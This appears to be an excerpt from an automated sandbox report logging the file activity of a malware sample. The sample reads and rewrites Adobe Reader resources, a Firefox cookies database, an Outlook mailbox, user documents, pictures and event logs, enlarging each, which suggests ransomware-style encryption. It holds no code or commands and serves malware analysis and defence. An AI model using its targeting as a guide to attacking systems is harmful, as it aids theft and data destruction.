File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\selector.js, size = 2492, size_out = 2492	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\selector.js, size = 3908	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\core_icons.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\core_icons.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\core_icons.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\ui-strings.js, size = 4257, size_out = 4257	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\ui-strings.js, size = 5673	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ja-jp\ui-strings.js, size = 7765, size_out = 7765	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ja-jp\ui-strings.js, size = 9181	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-si\ui-strings.js, size = 6739, size_out = 6739	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sl-si\ui-strings.js, size = 8155	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png, size = 3709, size_out = 3709	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\adc_logo.png, size = 5125	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adc_logo.png, size = 1756, size_out = 1756	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adc_logo.png, size = 3172	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\core_icons.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-selector.css, size = 802, size_out = 802	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-selector.css, size = 2218	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png, size = 826, size_out = 826	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo.png, size = 2242	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png, size = 826, size_out = 826	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\sat_logo.png, size = 2242	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-ae\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-ae\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-ae\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\it-it\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\it-it\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sk-sk\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sk-sk\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\da-dk\ui-strings.js, size = 843, size_out = 843	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\da-dk\ui-strings.js, size = 2259	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\pt-br\ui-strings.js, size = 846, size_out = 846	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\pt-br\ui-strings.js, size = 2262	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\close.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\close.svg, size = 1390, size_out = 1390	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themeless\close.svg, size = 2806	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fr-fr\ui-strings.js, size = 2846, size_out = 2846	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\fr-fr\ui-strings.js, size = 4262	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\selector.js, size = 2643, size_out = 2643	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\selector.js, size = 4059	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd-Bold.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
For performance reasons, the remaining 1348 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1128

2641

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 61440	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x64.msi, size = 4096	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 9608	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 61440	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 8192	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 5512	1	Fn Data
